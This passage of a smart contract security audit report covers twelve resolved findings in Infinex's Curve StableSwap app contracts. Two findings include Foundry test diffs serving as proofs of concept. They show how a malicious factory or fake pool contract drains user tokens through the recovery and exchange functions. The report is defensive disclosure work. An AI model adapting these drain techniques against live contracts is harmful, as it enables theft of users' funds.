</tr>
<tr>
<td><a href="#IO-IFX-APP-006">IO-IFX-APP-006</a></td>
<td>Array mismatch</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-IFX-APP-007">IO-IFX-APP-007</a></td>
<td>No slippage protection for recovery functions</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-IFX-APP-008">IO-IFX-APP-008</a></td>
<td>Incorrect address</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-IFX-APP-009">IO-IFX-APP-009</a></td>
<td>Use of transfer</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-IFX-APP-010">IO-IFX-APP-010</a></td>
<td>Incorrect token amount</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-IFX-APP-011">IO-IFX-APP-011</a></td>
<td>Inconsistent documentation</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-IFX-APP-012">IO-IFX-APP-012</a></td>
<td>No base recovery</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
</tbody>
</table>
<p>Each issue identified during the audit has been assigned a risk rating. The rating is determined based on the criteria outlined below.</p>
<dl>
<dt>Critical risk</dt>
<dd>The issue could result in the theft of funds from the contract or its users.</dd>
<dt>High risk</dt>
<dd>The issue could result in the loss of funds for the contract owner or its users.</dd>
<dt>Medium risk</dt>
<dd>The issue resulted in the code being dysfunctional or the specification being implemented incorrectly.</dd>
<dt>Low risk</dt>
<dd>A design or best practice issue that could affect the ordinary functioning of the contract.</dd>
<dt>Informational</dt>
<dd>An improvement related to best practice or a suboptimal design pattern.</dd>
</dl>
<p>In addition to a risk rating, each issue is assigned a status:</p>
<dl>
<dt>Open</dt>
<dd>The issue remained present in the code as of the final commit reviewed and may still pose a risk.</dd>
<dt>Resolved</dt>
<dd>The issue was identified during the audit and has since been satisfactorily addressed, removing the risk it posed.</dd>
<dt>Closed</dt>
<dd>The issue was identified during the audit and acknowledged by the developers as an acceptable risk without actioning any change.</dd>
</dl>
<a name="IO-IFX-APP-001"></a><h2 id="io-ifx-app-001-recovery-functions-undermine-protocols-security-posture" class="break-before"><strong>IO-IFX-APP-001</strong> Recovery functions undermine protocol's security posture</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/curve/CurveStableSwapAppBeacon.sol#L45">CurveStableSwapAppBeacon.sol#L45</a></td>
</tr>
</tbody>
</table>
<p>It would be possible to drain users' funds via the additional recovery mechanisms in <code>CurveStableSwapApp</code>. This is based on the presumption that <code>trustedRecovery</code><code>Keeper</code> and owner of <code>CurveStableSwapAppBeacon</code> are both under the control of Infinex.</p>
<p>As the owner of <code>CurveStableSwapBeacon</code>'s is able to set the<code>CurveStableSwap</code><code>FactoryNG</code> after deployment, they could update the factory to a malicous contract, bypassing the validations implemented in the <code>CurveStableSwapApp</code>. The token allowances for this contract could then be abused to drain user funds.  This issue could be exploited without user action as the functionality could be invoked by the <code>trustedRecoveryKeeper</code> address.</p>
<p>The following proof of concept was developed to illustrate exploitation of the issue:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="gh">diff --git a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gh">index 8be2ad5..51d711d 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -144,6 +144,57 @@ contract CurveSwapStableAppTest is Test {
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>         assertEq(plainPoolToken2.balanceOf(address(curvePool)), 0);
</span></span><span class="line"><span class="cl">     }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="gi">+    function find_pool_for_coins(address _from, address _to) external returns (address) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return address(this);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    function get_coins(address _pool) external returns (address[] memory) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return new address[](0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    function get_coin_indices(address _pool, address _from, address _to) external returns (int128, int128, bool) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return (0, 1, false);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    function get_balances(address _pool) external returns (uint256[] memory) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return new uint256[](0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    function get_decimals(address _pool) external returns (uint256[] memory) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return new uint256[](0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    function get_dy(int128 i, int128 j, uint256 dx) external returns (uint256) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return dx;
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    function exchange(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external returns (uint256) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        USDC.transferFrom(msg.sender, address(this), _dx);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    function test_ExploitRecoverTokenToUSDC() public {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        int128 fromTokenIndex = 0;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        int128 toTokenIndex = 1;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        uint256 fromAmount = 1e6;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        uint256 minToAmount = 0.1e6;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        uint256 expectedToAmount = fromAmount;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+        // give the app account some tokens.
</span></span></span><span class="line"><span class="cl"><span class="gi">+        USDC.mint(address(curveApp), fromAmount);
</span></span></span><span class="line"><span class="cl"><span class="gi">+        assertEq(USDC.balanceOf(address(curveApp)), fromAmount);
</span></span></span><span class="line"><span class="cl"><span class="gi">+      
</span></span></span><span class="line"><span class="cl"><span class="gi">+        vm.startPrank(owner);
</span></span></span><span class="line"><span class="cl"><span class="gi">+        MainAccountMock(mainAccount).setTrustedRecoveryKeeper(address(this), true);
</span></span></span><span class="line"><span class="cl"><span class="gi">+        CurveAppBeacon(curveAppBeacon).setCurveStableSwapFactoryNG(address(this));
</span></span></span><span class="line"><span class="cl"><span class="gi">+        vm.stopPrank();
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+        curveApp.recoverTokenToUSDC(address(USDC));
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+        assertEq(USDC.balanceOf(address(curveApp)), 0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+        assertEq(USDC.balanceOf(address(this)), fromAmount);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>     function test_AddLiqudity_RevertIf_NotAuthorizedOperationsParty() public {
</span></span><span class="line"><span class="cl">         address[] memory tokens = new address[](2);
</span></span><span class="line"><span class="cl">         uint256[] memory amounts = new uint256[](2);
</span></span><span class="line"><span class="cl">
</span></span></code></pre><h3 id="recommendation">Recommendation</h3>
<p>The <code>CurveStableSwapFactoryNG</code> state variable should be <code>immutable</code> within the<code>CurveStableSwapAppBeacon</code>, to prevent the owner from changing the behavior of the <code>CurveStableSwapApp</code> without user action.</p>
<h3 id="client-response">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/6c08f2be4a3815e7724e98042aa0bf992c498dda">6c08f2b</a>.</p>
<a name="IO-IFX-APP-002"></a><h2 id="io-ifx-app-002-interface-mismatch" class="break-before"><strong>IO-IFX-APP-002</strong> Interface mismatch</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/interfaces/curve/ICurveStableSwapNG.sol#L61">ICurveStableSwapNG.sol#L61</a></td>
</tr>
</tbody>
</table>
<p>The <code>ICurveStableSwapNG</code> interface does not match the ABI of onchain instances of<code>CurveStableSwapNG</code>. This will result in functions reverting after deployment.</p>
<p>This was confirmed by performing a fork test against Ethereum mainnet using the interface definition:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="gh">diff --git a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gh">index 8be2ad5..878659e 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -144,6 +144,11 @@ contract CurveSwapStableAppTest is Test {
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>         assertEq(plainPoolToken2.balanceOf(address(curvePool)), 0);
</span></span><span class="line"><span class="cl">     }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="gi">+    function test_IncorrectInterface() public {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        vm.createSelectFork("mainnet");
</span></span></span><span class="line"><span class="cl"><span class="gi">+        ICurveStableSwapNG(0x02950460E2b9529D0E00284A5fA2d7bDF3fA4d72).coins(0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>     function test_AddLiqudity_RevertIf_NotAuthorizedOperationsParty() public {
</span></span></code></pre><h3 id="recommendation-1">Recommendation</h3>
<p>The parameter type of the function <code>ICurveStableSwapNG::coins(int128)</code> should be <code>ICurveStableSwapNG::coins(uint256)</code>. To ensure that none of the other functions have the incorrect type or signature, the interface should be regenerated. This can be done using <code>cast interface</code>, provided by <a href="https://github.com/foundry-rs/foundry">Foundry</a>:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl">cast interface 0x02950460E2b9529D0E00284A5fA2d7bDF3fA4d72
</span></span></code></pre><h3 id="client-response-1">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/01328bb1db35063908b1460c2ebe6c279c2c8029">01328bb</a>.</p>
<a name="IO-IFX-APP-003"></a><h2 id="io-ifx-app-003-pool-address-not-validated" class="break-before"><strong>IO-IFX-APP-003</strong> Pool address not validated</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/curve/CurveStableSwapApp.sol#L50">CurveStableSwapApp.sol#L50</a></td>
</tr>
</tbody>
</table>
<p>The <code>CurveStableSwapApp::exchange()</code> and <code>CurveStableSwapApp::add</code><code>Liquidity()</code> functions can be leveraged to withdraw assets using an <code>OperationsKey</code>, bypassing the <code>SudoKey</code> requirement imposed for <code>withdrawERC20ToAddress()</code> and the withdrawal fee.</p>
<p>For example, if the user's browser session was compromised the attacker could:</p>
<ol>
<li>Call <code>transferERC20TokenToApp()</code> for all the tokens held in the Smart Account.</li>
<li>Deploy a malicious contract that implements the necessary functions from<code>ICurveStableSwapNG</code> and will transfer tokens from the <code>msg.sender</code> to the attacker's address.</li>
<li>Call <code>CurveStableSwapApp::exchange()</code> with the malicious contract as the<code>_stableSwapPool</code> address.</li>
</ol>
<p>The following proof of concept was developed to illustrate exploitation of the issue:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="gh">diff --git a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gh">index 8be2ad5..3524fe8 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -144,6 +144,31 @@ contract CurveSwapStableAppTest is Test {
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>         assertEq(plainPoolToken2.balanceOf(address(curvePool)), 0);
</span></span><span class="line"><span class="cl">     }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="gi">+    function exchange(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external returns (uint256) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        plainPoolToken1.transferFrom(msg.sender, address(this), _dx);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    function coins(int128 i) external view returns (address) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return address(plainPoolToken1);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    function test_ExploitLPTokenAddress() public {
</span></span></span><span class="line"><span class="cl"><span class="gi">+        int128 fromTokenIndex = 0;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        int128 toTokenIndex = 1;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        uint256 fromAmount = 1 ether;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        uint256 minToAmount = 0.1 ether;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        uint256 expectedToAmount = fromAmount;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+        // give the app account some tokens.
</span></span></span><span class="line"><span class="cl"><span class="gi">+        plainPoolToken1.mint(address(curveApp), fromAmount);
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+        vm.prank(operationKey);
</span></span></span><span class="line"><span class="cl"><span class="gi">+        curveApp.exchange(address(this), fromTokenIndex, toTokenIndex, fromAmount, 0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+        assertEq(plainPoolToken1.balanceOf(address(curveApp)), 0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+        assertEq(plainPoolToken1.balanceOf(address(this)), fromAmount);
</span></span></span><span class="line"><span class="cl"><span class="gi">+    }
</span></span></span><span class="line"><span class="cl"><span class="gi">+    
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>     function test_AddLiqudity_RevertIf_NotAuthorizedOperationsParty() public {
</span></span></code></pre><h3 id="recommendation-2">Recommendation</h3>
<p>The <code>CurveStableSwapApp::exchange()</code> and  <code>CurveStableSwapApp::add</code><code>Liquidity()</code> functions should be reworked to accept the addresses of <code>fromToken</code> and <code>toToken</code> and query <code>ICurveStableSwapFactoryNG::.get_coin_indices()</code> to resolve their indices. This simplifies integration as it is not necessary to resolve<code>tokenIds</code> offchain and ensures that the pool is limited to those created by the <code>Curve</code><code>StableSwapFactoryNG</code>. The <code>get_coin_indices()</code> function reverts if the pool and token combinations are not valid.</p>
<p>Alternatively, the pool address should be explicitly validated. This can be achieved by ensuring the the following contract call does not return <code>address(0)</code>: <code>CurveStableSwapFactoryNG::get_implementation_address(address _pool)</code></p>
<h3 id="client-response-2">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/7799e3d68024f016f4a88a70493861275833f34e">7799e3d</a>. The <code>exchange()</code> and <code>addLiquidity()</code> functions were reworked per the recommendation. Validation of the pool address using <code>get_implementation_</code><code>address()</code> was added as a defence-in-depth measure.</p>
<a name="IO-IFX-APP-004"></a><h2 id="io-ifx-app-004-missing-zero-address-check" class="break-before"><strong>IO-IFX-APP-004</strong> Missing zero-address check</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/AppRegistry.sol#L67">AppRegistry.sol#L67</a></td>
</tr>
</tbody>
</table>
<p>The <code>setAppBeaconStatusBatch</code> function is missing the <code>address(0)</code> check done in<code>setAppBeaconStatus</code>.</p>
<h3 id="recommendation-3">Recommendation</h3>
<p>The visibility <code>setAppBeaconStatus</code> should be changed to <code>public</code> and called internally from <code>setAppBeaconStatusBatch</code> to ensure that the same validations are performed for both code paths.</p>
<h3 id="client-response-3">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/9e60d960257df46c134e4c1d24202bc4efc7eaa7">9e60d96</a>,</p>
<a name="IO-IFX-APP-005"></a><h2 id="io-ifx-app-005-access-control-logic-should-be-centralized" class="break-before"><strong>IO-IFX-APP-005</strong> Access control logic should be centralized</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/base/AppSecurityModifiers.sol#L61">AppSecurityModifiers.sol#L61</a></td>
</tr>
</tbody>
</table>
<p>The <code>AppSecurityModifiers</code> contracts reimplements the checks performed in <code>isAuthorizedRecoveryParty</code> and <code>isAuthorizedOperationsParty</code>. If the definition or checks for <code>AuthorizedRecoveryParty</code> or <code>AuthorizedOperationsParty</code> were to evolve over time, the App's permission model could be out of step with the primary account.</p>
<p>Since Apps could be developed and maintained by third-party developers, it cannot be guaranteed that any bugs or improvements in the access control mechanisms will be incorporated.</p>
<h3 id="recommendation-4">Recommendation</h3>
<p>Introducing <code>isAuthorizedRecoveryParty</code> and <code>isAuthorizedOperationsParty</code> as external functions to <code>AccountUtilsModule</code> ensures that role definitions are centralized and future improvements will be included without needing to upgrade each individual App.</p>
<p>The addition of external functions will also reduce the number of cross-contract calls, providing some gas savings.</p>
<h3 id="client-response-4">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/87b8dafd47d25af4c45afcb79cda37a0aff359f1">87b8daf</a>.</p>
<a name="IO-IFX-APP-006"></a><h2 id="io-ifx-app-006-array-mismatch" class="break-before"><strong>IO-IFX-APP-006</strong> Array mismatch</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/curve/CurveStableSwapApp.sol#L71">CurveStableSwapApp.sol#L71</a></td>
</tr>
</tbody>
</table>
<p>In <code>CurveStableSwapApp::addLiquidity()</code>, there is no enforcement that the elements of the <code>_tokens</code> and the <code>_amounts</code> arrays match the order expected by <code>ICurveStableSwapNG::add_liquidity()</code>. This could result in unexpected reverts due to insufficient allowances.</p>
<h3 id="recommendation-5">Recommendation</h3>
<p>In <code>addLiquidity()</code>, the <code>ICurveStableSwapFactoryNG::get_coins()</code> function should be called to obtain the list of tokens supported by the pool. The list should then be compared to the <code>_tokens</code> array to ensure the order is the same.</p>
<h3 id="client-response-5">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/3f1fb514cd7c6a0dc27a0e5ec80b765d311e9da5">3f1fb51</a>.</p>
<a name="IO-IFX-APP-007"></a><h2 id="io-ifx-app-007-no-slippage-protection-for-recovery-functions" class="break-before"><strong>IO-IFX-APP-007</strong> No slippage protection for recovery functions</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/curve/CurveStableSwapApp.sol#L136">CurveStableSwapApp.sol#L136</a></td>
</tr>
</tbody>
</table>
<p>The <code>CurveStableSwapApp::recoverTokenToUSDC()</code>, <code>CurveStableSwapApp::recoverUSDCFromLP()</code> and <code>CurveStableSwapApp::recoverTokenFromLP()</code> functions are susceptible to front-running and sandwich attacks, as they do not implement any slippage controls. The NatSpec for <code>recoverTokenToUSDC</code> and <code>recoverUSDCFromLP</code> indicates that both functions should have some slippage protection; however, no such protection is present in the code.</p>
<h3 id="recommendation-6">Recommendation</h3>
<p>Specifying slippage as function arguments would be sufficient when invoked using a<code>SudoKey</code> or <code>RecoveryKey</code>. However, when called by the <code>trustedRecoveryKeeper</code>, the robustness of this control is reduced, as the <code>trustedRecoveryKeeper</code> must be trusted to set reasonable amounts.</p>
<p>Additional slippage protections should be added to reduce the risk of sandwich attacks and minimize trust assumptions, such as on-chain calculation of the expected received amount. This should be feasible without the need of external oracles as only stable swap pools are supported.</p>
<h3 id="client-response-6">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/22c021a4338a7d94443f9dd63a140688a2485917">22c021a</a>. All the functions now allow the caller to specify the minimum amount of tokens that should be received.</p>
<p>It was decided to not implement dynamic or onchain slippage controls using oracles due to the complexity that it would introduce. Therefore, it is important that the <code>TrustedRecoveryKeeper</code> implementation is reviewed when developed, to ensure that the off-chain component will calculate and specify reasonable values when invoking the recovery functions.</p>
<a name="IO-IFX-APP-008"></a><h2 id="io-ifx-app-008-incorrect-address" class="break-before"><strong>IO-IFX-APP-008</strong> Incorrect address</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/curve/CurveStableSwapApp.sol#L162">CurveStableSwapApp.sol#L162</a></td>
</tr>
</tbody>
</table>
<p>In <code>CurveStableSwapApp::recoverTokenToUSDC()</code>, the incorrect token address is used when resetting the allowance.</p>
<h3 id="recommendation-7">Recommendation</h3>
<p>The allowance for <code>_fromToken</code> should be reset instead of the allowance of USDC.</p>
<h3 id="client-response-7">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/3f1fb514cd7c6a0dc27a0e5ec80b765d311e9da5">3f1fb51</a>.</p>
<a name="IO-IFX-APP-009"></a><h2 id="io-ifx-app-009-use-of-transfer" class="break-before"><strong>IO-IFX-APP-009</strong> Use of transfer</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/e46cdb46aee4f349401e196b353e621173ce0572/src/apps/base/AppAccountBase.sol#L201">AppAccountBase.sol#L201</a></td>
</tr>
</tbody>
</table>
<p>Functions that include <code>_transferToMainAccountEther()</code> might revert due to <code>transfer()</code> providing an insufficent gas stipend. As demonstrated by EIP-1884, which changed the gas cost of the <code>SLOAD</code> operation, gas costs can change. This could lead to a case where a contract has its fallback function increased above the 2300 stipend set by <code>transfer()</code>, resulting in it becoming incompatible with the system.</p>
<p>More information can be found in <a href="https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/">Consensys On Avoiding <code>transfer()</code></a>.</p>
<h3 id="recommendation-8">Recommendation</h3>
<p>The <code>call</code> built-in function should be used, e.g.<code>payable(AppBase._getMainAccount()).call{value: _amount}("")</code>.</p>
<h3 id="client-response-8">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/9e60d960257df46c134e4c1d24202bc4efc7eaa7">9e60d96</a>.</p>
<a name="IO-IFX-APP-010"></a><h2 id="io-ifx-app-010-incorrect-token-amount" class="break-before"><strong>IO-IFX-APP-010</strong> Incorrect token amount</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/7799e3d68024f016f4a88a70493861275833f34e/src/apps/curve/CurveStableSwapApp.sol#L161">CurveStableSwapApp.sol#L161</a></td>
</tr>
</tbody>
</table>
<p>In <code>CurveStableSwapApp::recoverTokenToUSDC()</code> the incorrect amount is passed to <code>_transferToMainAccountERC20</code>.</p>
<h3 id="recommendation-9">Recommendation</h3>
<p>The USDC balance after the exchange or the <code>receivedAmount</code> should be transferred instead of <code>fromToken</code>'s initial balance.</p>
<h3 id="client-response-9">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/3f1fb514cd7c6a0dc27a0e5ec80b765d311e9da5">3f1fb51</a>.</p>
<a name="IO-IFX-APP-011"></a><h2 id="io-ifx-app-011-inconsistent-documentation" class="break-before"><strong>IO-IFX-APP-011</strong> Inconsistent documentation</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td></td>
</tr>
</tbody>
</table>
<p>The NatSpec for <code>CurveStableSwapApp::removeSpecificLiquidity()</code> incorrectly states that the amounts specified are the minimum that a user will receive for burning the specified amount of liquidity tokens, whereas the <code>ICurveStableSwapNG::remove_liquidity_imbalance()</code> function will always withdraw the specified amount of tokens and only burn the amount of liquidity tokens necessary to satisfy the specified token amounts.</p>
<p>The alternative <code>ICurveStableSwapNG::remove_liquidity(uint256 _lpTokens, uint256[] minAmounts)</code> function would match the described behaviour. However, the documentation for the internal function <code>CurveStableSwapApp::_removeSpecificLiquidity()</code> matches the current implementation.</p>
<h3 id="recommendation-10">Recommendation</h3>
<p>Either the documentation for <code>removeSpecificLiquidity</code> should be updated to match that of the internal <code>_removeSpecificLiquidity</code> function or the implementation should be revised to match the current description.</p>
<h3 id="client-response-10">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/1c0ee25fa9da17b4dd78a2cab8062c4144fc4c2c">1c0ee25</a>.</p>
<a name="IO-IFX-APP-012"></a><h2 id="io-ifx-app-012-no-base-recovery" class="break-before"><strong>IO-IFX-APP-012</strong> No base recovery</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/base/AppAccountBase.sol">AppAccountBase.sol</a></td>
</tr>
</tbody>
</table>
<p>If tokens are transferred to an App they could get stuck if the implementation doesn't support that token. Having each AppAccount implement its own recovery and transfer mechanisms increases the likelihood of an insecure implementation.</p>
<h3 id="recommendation-11">Recommendation</h3>
<p><code>AppAccountBase</code> should implement standardised recovery and transfer mechanisms for tokens and native balances. The functionality should employ the same logic as the existing <code>RecoveryModule</code> if possible, but funds should be recovered to the Primary Account instead of the recovery address.</p>
<p>As a further enhancement, an internal function that can be overridden by each implemention and that checks whether a token is locked can be incorporated into the transfer and recovery functions for <code>AppAccountBase</code>. The lock would need to be explicit per token, allowing tokens not handled by <code>AppAccount</code> to be recovered e.g. <code>_isTokenLocked(address token)</code>. Locking might be required by some integrations to keep tokens as collateral or maintain state consistency.</p>
<h3 id="client-response-11">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/7397055d939f93fd17d9eeb5725ad09ca0631829">7397055</a>.</p>
<h1 id="code-quality-improvement-suggestions">Code quality improvement suggestions</h1>
<p>Code improvement suggestions without security implications are listed below.</p>
<table class="codequality">
<thead>
<tr>
<th>#</th>
<th>Location</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/accounts/modules/AppModule.sol#L95">App<wbr>Module<wbr>.sol<wbr>#L95</a></td>
<td>Although it is unlikely that Infinex will ever be deployed on the TRON Network, it is important to note that the TRC20 implementation of USDT on the network is incompatible with <code>SafeERC20.safeTransfer()</code>.</td>
</tr>
<tr>
